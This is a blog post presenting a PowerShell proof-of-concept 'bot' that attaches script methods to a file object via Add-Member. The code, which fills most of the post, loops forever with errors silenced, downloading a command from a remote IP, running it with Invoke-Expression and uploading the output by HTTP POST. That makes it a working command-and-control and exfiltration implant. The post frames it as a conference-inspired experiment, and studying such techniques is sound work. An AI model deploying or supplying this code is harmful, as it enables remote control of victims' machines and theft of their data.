Thursday, October 12, 2017

Powershell - Using Add-Member to Add Scripts to the objects of a File

While at Saintcon 2017, I was in a training called "Attack and Defend with Powershell" taught by Aelon Porat.  During the training he created a file with notepad and then was displaying the attributes, properties, etc. of the file.  Then I thought about a Proof-of-Concept for a bot to utilize scripts that can be added as a Script Method to a file.

The below bot calls out to an IP address to download a command that is inside of a file on a web server, stores the command as a Note Property Value with the file system object, executes the command, stores the results as a Note Property Value, and then uploads the results.  This could have been combined with less scripts, but did this to display the capability.

To run these powershell commands you need a file called note.txt in the directory where you run the powershell script below.




$ErrorActionPreference="SilentlyContinue"

# Create a file called note.txt
$file = Get-ChildItem note.txt

# Place a string value in a note property 
$file | Add-Member -NotePropertyName Status -NotePropertyValue "123456abcABC+==" -Force # Use force to overwrite the note property
$file | Add-Member -NotePropertyName Collected -NotePropertyValue "123456abcABC+==" -Force

# Have a script property attached to a file to download the bots commands and save it in status
$file | Add-Member -MemberType ScriptMethod -Name "Download" -Value {
    $webClient = New-Object System.Net.WebClient
    $noteInfo = $webClient.DownloadString("http://172.16.214.1/string.txt")
    $file | Add-Member -NotePropertyName Status -NotePropertyValue $noteInfo -Force
} -Force

# Then have a script property attached to a file to execute the comand that is placed in Status
$file | Add-Member -MemberType ScriptMethod -Name "Execute" -Value {
    $collected = Invoke-Expression -Command $file.Status 2>&1
    $file | Add-Member -NotePropertyName Collected -NotePropertyValue $collected -Force
} -Force

# Then have a script property which will upload the results
$file | Add-Member -MemberType ScriptMethod -Name "Upload" -Value {
    $postParams = @{info=$file.Collected}
    Invoke-WebRequest -Uri http://172.16.214.1/info -Method POST -Body $postParams
} -Force

while ($True) {
    $file.Download()
    Sleep -Seconds 5
    $file.Execute()
    sleep -Seconds 5
    $file.Upload()
    sleep -Seconds 5
} 
Another interesting discovery, was the Get-FileHash of the file "note.txt" does not change when a the NotePropertyValue changes, because it is applied to the variable and not the file:


No comments:

Post a Comment

Test Authentication from Linux Console using python3 pexpect

Working with the IT420 lab, you will discover that we need to discover a vulnerable user account.  The following python3 script uses the pex...